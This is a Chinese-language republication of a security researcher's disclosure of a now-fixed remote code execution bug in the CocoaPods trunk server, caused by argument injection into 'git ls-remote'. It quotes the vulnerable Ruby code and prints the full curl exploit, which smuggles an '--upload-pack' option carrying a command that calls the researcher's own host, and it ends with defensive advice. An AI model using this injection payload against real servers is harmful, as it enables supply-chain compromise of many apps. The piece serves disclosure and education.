利用 CocoaPods 服务器中的一个 RCE 漏洞,投毒数百万款app
Posted 代码卫士
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了利用 CocoaPods 服务器中的一个 RCE 漏洞,投毒数百万款app相关的知识,希望对你有一定的参考价值。
聚焦源代码安全,网罗国内外最新资讯!
编译:奇安信代码卫士
数字化时代,软件无处不在。软件如同社会中的“虚拟人”,已经成为支撑社会正常运转的最基本元素之一,软件的安全性问题也正在成为当今社会的根本性、基础性问题。
随着软件产业的快速发展,软件供应链也越发复杂多元,复杂的软件供应链会引入一系列的安全问题,导致信息系统的整体安全防护难度越来越大。近年来,针对软件供应链的安全攻击事件一直呈快速增长态势,造成的危害也越来越严重。
为此,我们推出“供应链安全”栏目。本栏目汇聚供应链安全资讯,分析供应链安全风险,提供缓解建议,为供应链安全保驾护航。
注:以往发布的部分供应链安全相关内容,请见文末“推荐阅读”部分。
我用 Signal iOS app 和朋友们沟通。我是 Signal 的真爱粉,而我对真爱项目的回馈方式之一是尝试从中找出 bug。
浏览该 app 来源时首先吸引我的是 Podfile,它列出了 Signal 的 CocoaPods 依赖关系。我和程序包管理器的渊源颇深,所以首先想到的是尝试从 CocoaPods 服务器中找出bug。如果能找到影响使用 CocoaPods 的所有 app 的 bug,还费力气黑 Signal 干嘛?
当向 CocoaPods 上传程序包规范时,它会尝试确保我们不会不慎链接到私有库。它会执行如下操作:
def validate_git
# We've had trouble with Heroku's git install, see trunk.cocoapods.org/pull/141
url = @specification.source[:git]
return true unless url.include?('github.com') || url.include?('bitbucket.org')
ref = @specification.source[:tag] ||
@specification.source[:commit] ||
@specification.source[:branch] ||
'HEAD'
wrap_timeout { system('git', 'ls-remote', @specification.source[:git], ref.to_s) }
end
这样做会带来几个问题。最重要的问题是攻击者对 @specification.source[:git] 和 ref.to_s 具有完全控制,因此可利用它们将标记传递给 git。git ls-remote 选用可选标记 –upload-pack 评估 shell 中的内容。因此,如果 @specification.source[:git] 等于 --ls-remote="$(echo THIS WAS PROBABLY UNEXPECTED)" github.com,而 ref.to_s 被解释为一个本地仓库,那么我们就可以在 CocoPods 服务器中运行攻击者的命令。
如下是我最终使用的 exploit:
curl -X POST -H "Content-Type: application/json" -H 'Authorization: Token MY_AUTH_TOKEN' "https://trunk.cocoapods.org/api/v1/pods" --data '{"source":{"git":"--upload-pack=\"$(curl my-server:4775/`whoami`)\" https://github.com/","tag":"1.0.0"}}'
之后,我思考了 CocoaPods 对这个世界提供的价值多么巨大,单从节约开发人员的时间角度来看就能看到!再看看世界上有多少大型企业都在使用这款软件。再想想安全审计的成本有多高。
对于使用依赖关系管理器的人来说:
考虑 vendoring 依赖关系并仔细审计其更新(vendoring 的概念并未有确切定义,可以理解为拷贝一份项目中使用的第三方依赖关系,以防止版本冲突等问题)。
你使用的依赖关系管理器中可能存在 bug,如果项目的安全敏感度高,则应该认真仔细地思考这个攻击向量。
对于编写依赖关系管理器的人来说:
如果想确保依赖关系管理器的安全,应当将如下因素作为有毒废弃物:
程序包内容
版本控制软件
依赖关系管理器服务器通常想暴露关于程序包的某些元数据(有毒废弃物),并经常通过借助某些版本控制软件(有毒废弃物)来实现。最好不要这样做,但如果必须这么做,则应该使用沙箱。
几个月前,我在 proxy.golang.org 中找到了一个 RCE 漏洞,它被暴露于某款易受攻击的版本控制软件。不过由于我无法逃逸它所使用的沙箱而得以完全缓解。
最后,感谢 CocoaPods 维护人员神速修复该漏洞!
https://justi.cz/security/2021/04/20/cocoapods-rce.html
题图:Pixabay License
转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的
产品线。
觉得不错,就点个 “在看” 或 "赞” 吧~
以上是关于利用 CocoaPods 服务器中的一个 RCE 漏洞,投毒数百万款app的主要内容,如果未能解决你的问题,请参考以下文章
Redis攻防(未授权访问利用redis写入webshell任务计划反弹Shellssh-keygen 公钥登录服务器利用主从复制RCE)
Redis攻防(未授权访问利用redis写入webshell任务计划反弹Shellssh-keygen 公钥登录服务器利用主从复制RCE)
jenkins 2.101 XStream rce 挖掘思路